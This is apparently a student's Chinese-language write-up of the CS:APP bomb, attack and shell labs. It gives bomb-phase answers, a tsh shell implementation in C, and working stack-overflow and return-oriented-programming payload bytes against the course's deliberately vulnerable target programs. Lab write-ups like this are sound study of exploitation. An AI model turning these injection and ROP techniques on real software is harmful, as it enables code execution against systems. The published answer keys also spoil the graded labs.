0x01 bomb lab

#如果有写错的或不懂的,欢迎加我讨论一下
#后面几个因为挺难注释写的挺乱的,建议不要看自己调试一遍,调不出看看总结的思路即可

phase_1

因为本题需要用gdb,于是先去琢磨了一下gdb的使用。

上来先把汇编导出来

image-20210205004018515

然后拖到vscode里,找到第一个函数,然后简单分析一下

image-20210205004931811

然后打开gdb在比较字符串的地方设置断点,然后运行,运行后随便输入,进入断点。

image-20210205005109996

然后查看第一个参数rdi的内容,发现是我们输入的参数

image-20210205005553988

于是推测esi中的数据是用来跟我们输入的数据比较的

image-20210205005707665

然后测试

Border relations with Canada have never been better.

image-20210206230552676

phase_2

首先看汇编推测是读取6个数字

image-20210206231007803

然后读读汇编会发现第一个数是1,第二数在rax里,剩下的数是个等比数列

image-20210207010610656

也就是1 2 4 8 16 32

image-20210207010740967

phase_3

image-20210207012840994

带入0测试一下,看看0x402470里面存放的值

image-20210207012828613

image-20210207013249509

于是接着分析

image-20210207015926457

两个数是0 207

image-20210207020029327

搞定

phase_4

image-20210211013148726

image-20210211013159583

所以答案应该是7 0

image-20210211013357678

phase_5

第五关只看汇编做不出来,要接着上gdb(下面几个有点复杂,写的废话有点多,见谅见谅QAQ

先粗略分析一下

image-20210211144109197

查看用于比较的字符串是”flyers

image-20210211144522857

结果爆炸了

image-20210211144807960

设个断点调一下

image-20210211164833577

rbx中是我们输入的值

image-20210211165134962

然后就可以接着推源代码了

image-20210211173117782

然后看一看0x4024b0地址中存的东西

image-20210211173439286

然后因为太菜,一步一步的测试分析的,写的可能有点多,思路都在注释里了

image-20210211195320442

经过俺的反复理解,这里应该是要用0x4024b0处的字符串凑出flyers这个值即可(大概x

然后只要研究一下如何让咱输入的值满足这个条件即可

话说edx的值大概是索引1,f需要的值是9,l是15,y是14,e是5,r是6,s是7

所以需要的值大概是让输入每个字符的ascii的值后四位为9FE567

查查ASCII码表 用 9ON567测试一下

image-20210211201145392

image-20210211200851162

成了,泪目

备注:0x401096注释部分是错的,是我在分析时没注意abcdef,后面换了几个值测试才成功,记得下次测试时用点特殊值

image-20210211202857311

这里值还是很奇怪,不过只要看最后8位就能看出答案

image-20210211202942318

变成9啦,前面应该是把寄存器之前的值加进去了

然后再读一遍代码就能懂啦,简单哒

phase_6

这个还挺复杂的,主要是理清楚逻辑(犯了一个低级错误导致浪费了两天才调出来,但这个其实并不难,调试一下就出来了

经过上个的教训,输入些不规则的数

image-20210211204818126

栈中是我们输入的参数

image-20210211205338947

最终分析大概是这样:

image-20210213003347640

其实也不用看我的注释,前面主要就是让你输入6个参数,且6个参数需要>=1且<=6,并且不能相同。

直接输入654321会爆炸,不过为了测试下面代码,先把输入的值改成654321

image-20210211223154741

image-20210213012115782

这里是把0x6032d0(332 1 6) 0x6032e0(168 2 5) 0x6032f0(924 3 4) 0x603300(691 4 3) 0x603310(477 5 2) 0x603320(443 6 1)共6个地址按照你输入的顺序放到栈上

image-20210213015400190

因为我们输入的是654321

所以栈中应该是这样的:

image-20210213013030596

然后就是image-20210213022121426

可以得到d8存e0,e8存f0……20存0

image-20210213030646430

根据前面的332 168 924等进行排序,然后算出答案应该是4 3 2 1 6 5

image-20210213030945318

然后就做完了

备注:这个做的有些吃力,做完了看别人blog发现这原来是个链表…

0x02 Attack lab

这个题要先去看看他的要求:http://csapp.cs.cmu.edu/3e/README-attacklab

http://csapp.cs.cmu.edu/3e/attacklab.pdf

这个lab给了这些程序

image-20210213153141963

另外执行程序时要加入参数-q,否则会报错

image-20210213161230555

code-injection

level1

第一题是让你执行getbuf()时,调用touch1的代码

1
2
3
4
5
6
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
1
2
3
4
5
6
7
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
1
2
3
4
5
6
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

touch1函数的地址是00000000004017c0,这里要使用小端法写入程序,所以是c017400000000000

test函数的反汇编

image-20210213184918397

这个题的关键点在于覆盖getbuf函数的返回地址,可以看到getbuf的缓冲区大小为0x28

image-20210213185013392

1
2
3
4
5
6
7
8
9
10
11
12
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
c0 17 40 00
00 00 00 00

调用成功

image-20210213190903671

level2

这题要求执行touch2,并且传入参数(你的cookie)

image-20210213201612283

1
2
3
4
5
6
7
8
9
10
11
12
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

首先找到touch2的地址4017ec,因为我们的cookie是0x59b997fa,所以传值为

1
2
3
4
5
6
7
48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

成功

image-20210213235902768

然后解释一下前面那些奇怪的字符是什么意思(之所以使用ret到是因为限制了不能用jmp)

1
2
3
4
mov 0x59b997fa, %rdi
push 004017ec
ret
;最后一串是返回地址

最后的返回地址是如何得到的:

image-20210214001024676

level3

image-20210219221214594

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

第三题让你传入的变成了cookie的地址,解决方式和第二题没有区别

image-20210220014449554

记得把cookie的值变成ascii码形式

1
2
3
4
5
6
7
35 39 62 39 39 37 66 61 00
48 c7 c7 78 dc 61 55
68 fa 18 40 00
c3
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
81 dc 61 55 00 00 00 00

第一行是cookie,第二行之后是汇编,最后一行是存着汇编的栈的返回地址。

image-20210220013408873

return-oriented programming

这两道题用了栈随机化(ASLR)和限制可执行代码区域(加入NX位,注入进栈中的代码无法被程序执行)

ROP攻击就是利用函数自带的gadgets(就是现成的代码)构成一个攻击链,它借用代码段里面的多个retq前的一段指令拼凑成一段有效的逻辑,从而达到攻击的目标。为什么是retq呢,因为retq指令返回到哪里执行,由栈的内容决定,这是攻击者很容易控制的地方。

image-20210220110756552

level2

和上题一样,我们需要做的就是赋值%rdi为0x59b997fa,然后跳到touch2的地址。

因为gadgets不可能有mov 0x59b997fa, %rdi,所以我们把cookie的值存到栈中,然后pop到%rdi即可

1
2
5f    pop %rdi
c3 retq

然后找到对应的机器码,这个地址是40141b。

image-20210220120258423

1
2
3
4
5
6
7
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
1b 14 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
ec 17 40 00 00 00 00 00

image-20210220122558444

对照此图思考一下即可

image-20210220120705529

level3

这道题也是同样的思路,不过因为栈随机化,所以不能直接用栈的地址。

首先把%rsp的地址传送到%rdi,然后获取字符串的偏移传送到%rsi,lea (%rdi,%rsi,1), %rax, 将字符串的首地址传送到%rax,再传送到%rdi,最后调用touch3

1
2
3
4
5
6
7
8
9
10
11
12
13
#栈中的场景
0x28の栈帧
mov rsp, rax --返回地址
mov rax, rdi
pop rax
偏移0x48
mov rax, rdx
mov rdx, rcx
mov rcx, rsi
lea (rdi,rsi,1), rax
mov rax, rdi
touch3
cookie

要注意这全是拼出来的,rop主要的攻击方式就是拼,如果你想到了更好的方式,但是找不到机器码也是没用的。

首先把rsp的地址放到rax里

1
2
3
4
5
Disassembly of section .text:

0000000000000000 <.text>:
0: 48 89 e0 mov %rsp,%rax
3: c3 retq

image-20210220124307596

然后把栈的地址放到rdi里

1
2
48 89 c7    mov %rax,%rdi
c3 retq

image-20210220124606596

以此类推,最后输入的数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00

image-20210220142055331

0x03 shell lab

激动人心,终于可以开始写代码了。

如果shell lab不会写,就是因为书没仔细看。不过也没必要回去再看书,按照shell lab补充没细看的知识即可。

写之前看看:http://csapp.cs.cmu.edu/3e/shlab.pdf

本实验需要实现一个unix shell,我们需要完善tsh.c的代码,写出7个函数。

1
2
3
4
5
6
7
• eval: 解析和解释命令行的主例程。 [70行]
• builtin cmd: 识别并解释内置命令:quit,fg,bg和job。 [25行]
• do bgfg: 实现bg和fg内置命令。 [50行]
• waitfg: 等待前台作业的完成。[20行]
• sigchld handler: 捕获SIGCHILD信号。80行]
• sigint handler: 捕获SIGINT(ctrl-c)信号。[15行]
• sigtstp handler: 捕获SIGTSTP(ctrl-z)信号。[15行]

首先我们要知道的事情:

  1. shell的第一个参数是内置命令的名称或可执行文件的路径。剩下的单词是命令行参数。
  2. 当是可执行文件路径名的时候,shell会开启一个子进程,然后在子进程的上下文中加载运行程序。
  3. 如果shell以&结束,那么shell将在后台运行,这意味着shell在打印提示符和等待下一条命令行之前不会等待作业的终结。
  4. 最多只能有一个作业在前台运行。
  5. tsh不需要支持管道符和重定向
  6. ctrl+c(ctrl+z)会导致前台信号关闭
  7. 每个job都可以通过pid和jid(job id)来识别
  8. tsh支持的内置指令:
  • quit:退出当前shell
  • jobs:列出所有后台job
  • bg<job>:通过发送SIGCONT信号重启<job>
  • fg<job>:通过发送SIGCONT信号重启<job>

在写之前建议先看看8.4.6的shell简易实现。

我们首先分析一下它给我们的main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int main(int argc, char **argv) 
{
char c;
char cmdline[MAXLINE];
int emit_prompt = 1; /* 发出提示 (default) */

/* 将stderr重定向到stdout(这样,驱动程序将在连接到stdout的管道上获得所有输出) */
dup2(1, 2);

/* 解析命令行 */
while ((c = getopt(argc, argv, "hvp")) != EOF) {
switch (c) {
case 'h': /* print help message */
usage();
break;
case 'v': /* 发出额外的诊断信息 */
verbose = 1;
break;
case 'p': /* 不打印提示 */
emit_prompt = 0; /* 便于自动检测 */
break;
default:
usage();
}
}

/* 下面这三个信号需要我们自己实现 */

Signal(SIGINT, sigint_handler); /* ctrl-c 来自键盘的中断*/
Signal(SIGTSTP, sigtstp_handler); /* ctrl-z 来自终端的中断*/
Signal(SIGCHLD, sigchld_handler); /* 一个子进程停止或者终止 */

Signal(SIGQUIT, sigquit_handler); /* 来自键盘的退出 */

/* 初始化job列表 */
initjobs(jobs);

/* 执行shell循环 */
while (1) {

/* 读取命令行列表 */
if (emit_prompt) { /* 是否输出提示 */
printf("%s", prompt);
fflush(stdout);
}
if ((fgets(cmdline, MAXLINE, stdin) == NULL) && ferror(stdin))
app_error("fgets error"); /* 命令行读取为空 */
if (feof(stdin)) { /* End of file (ctrl-d) */
fflush(stdout);
exit(0);
}

/* Evaluate the command line */
eval(cmdline);
fflush(stdout);
fflush(stdout);
}

exit(0); /* control never reaches here */
}

然后我们先把几个简单的信号写完

首先是ctrl c终止前台作业

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void sigint_handler(int sig) 
{
int olderrno = errno; // 保存error信号 见p536 G2
sigset_t mask_all;
pid_t pid;
sigfillset(&mask_all); // 阻塞所有信号 见p536 G3
sigprocmask(SIG_BLOCK, &mask_all, NULL);
pid = fgpid(jobs); // 返回当前前台进程的PID,如果没有此job,返回0
if(pid != 0){ // 如果前台进程组存活,就kill掉
kill(-pid, SIGINT);
}
errno=olderrno;
return;
}

然后是ctrl z中断任务的执行,但该任务并没有结束,它只是在进程中维持挂起的状态

代码和上面的一样,改个信号就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void sigtstp_handler(int sig) 
{
int olderrno = errno; // 保存error信号 见p536 G2
sigset_t mask_all;
pid_t pid;
sigfillset(&mask_all); // 阻塞所有信号 见p536 G3
sigprocmask(SIG_BLOCK, &mask_all, NULL);
pid = fgpid(jobs); // 返回当前前台进程的PID,如果没有此job,返回0
if(pid != 0){ // 如果前台进程组存活,就kill掉
kill(-pid, SIGTSTP);
}
errno=olderrno;
return;
}

然后写waitfg

1
2
3
4
5
6
7
8
void waitfg(pid_t pid)
{
while(pid==fgpid(jobs))
{
sleep(0);
}
return;
}

builtin cmd,这个书上有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int builtin_cmd(char **argv) 
{
if(!strcmp(argv[0], "quit"))
exit(0);
if(!strcmp(argv[0], "&")) /* 无视单独的& */
return 1;

if(!strcmp(argv[0], "bg") || !strcmp(argv[0], "fg")){
do_bgfg(argv);
return 1;
}
if(!strcmp(argv[0], "jobs")) { /* 查看当前有多少在后台运行的命令 */
listjobs(jobs);
return 1;
}
return 0;
}

接着实现do_bgfg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//fg将后台中的命令调至前台继续运行
//bg将一个在后台暂停的命令,变成继续执行


void do_bgfg(char **argv)
{
struct job_t *job;
int id;
if(argv[1]==NULL){ /* 如果没给pid */
printf("%s command requires PID argument\n", argv[0]);
return;
}
if (sscanf(argv[1], "%d", &id) > 0)
{
job = getjobpid(jobs, id);
if (job == NULL)
{
printf("No such job\n");
return ;
}
}else
{
printf("%s command requires PID argument\n", argv[0]);
return;
}
if(!strcmp(argv[0], "bg"))
{
kill(-(job->pid), SIGCONT);
job->state = BG;
}
else
{
kill(-(job->pid), SIGCONT);
job->state = FG;
waitfg(job->pid);
}
return;
}

最后一个信号SIGCHLD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 一个子进程停止或终止
void sigchld_handler(int sig)
{
int olderrno=errno;
pid_t pid;
int status;
sigset_t mask_all;
sigfillset(&mask_all);
while((pid = waitpid(-1, &status, WNOHANG | WUNTRACED)) > 0)
/* 如果当前进程都没有停止或终止,返回0。否则返回子进程pid */
{
if (WIFEXITED(status)) /* 正常退出 */
{
sigprocmask(SIG_BLOCK, &mask_all, NULL);
deletejob(jobs, pid);
}
else if (WIFSIGNALED(status)) /* 未捕获的信号终止 */
{
struct job_t* job = getjobpid(jobs, pid);
sigprocmask(SIG_BLOCK, &mask_all, NULL);
printf("Job [%d] (%d) terminated by signal %d\n", job->jid, job->pid, WTERMSIG(status));
deletejob(jobs, pid);
}
else if(WIFSTOPPED(status)) /* 当前进程是停止的 */
{
struct job_t* job = getjobpid(jobs, pid);
sigprocmask(SIG_BLOCK, &mask_all, NULL);
printf("Job [%d] (%d) stopped by signal %d\n", job->jid, job->pid, WSTOPSIG(status));
job->state= ST;
}
}
errno=olderrno;
return;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void eval(char *cmdline){
int bg;
static char array[MAXLINE];
char *buf = array;
char *argv[MAXARGS];
pid_t pid;
sigset_t mask_one, prev, mask_all;

strcpy(buf, cmdline);
bg = parseline(buf, argv); /* 解析以空格分隔的命令行参数 */

if(argv[0] == NULL) /* 没东西直接返回 */
return;

if(!builtin_cmd(argv)){ /* 如果不是内置命令,进入if循环 */
sigemptyset(&mask_one);
sigaddset(&mask_one, SIGCHLD);
sigfillset(&mask_all);
/* 防止addjob和deletejob竞争,需要先阻塞SIGCHLD信号 */
sigprocmask(SIG_BLOCK, &mask_one, &prev);
/* 如果不是内置命令,则fork一个子进程,并execve程序 */
if((pid = fork()) == 0){ /* 子进程中 */
setpgid(0, 0); /* 将子进程放入新的进程组,防止和shell冲突 */
sigprocmask(SIG_SETMASK, &prev, NULL);
if(execve(argv[0], argv, environ) < 0){
printf("%s: Command not found\n", argv[0]);
exit(0);
}
}
/* 对全局数据结构jobs进行访问时,要阻塞所有信号 */
sigprocmask(SIG_BLOCK, &mask_all, NULL);
addjob(jobs, pid, bg?BG:FG, buf);
sigprocmask(SIG_SETMASK, &prev, NULL);

if(bg){ //后台作业
printf("[%d] (%d) %s", pid2jid(pid), pid, buf);
}else{ //前台作业
waitfg(pid); //需要等待前台作业完成
}
}
}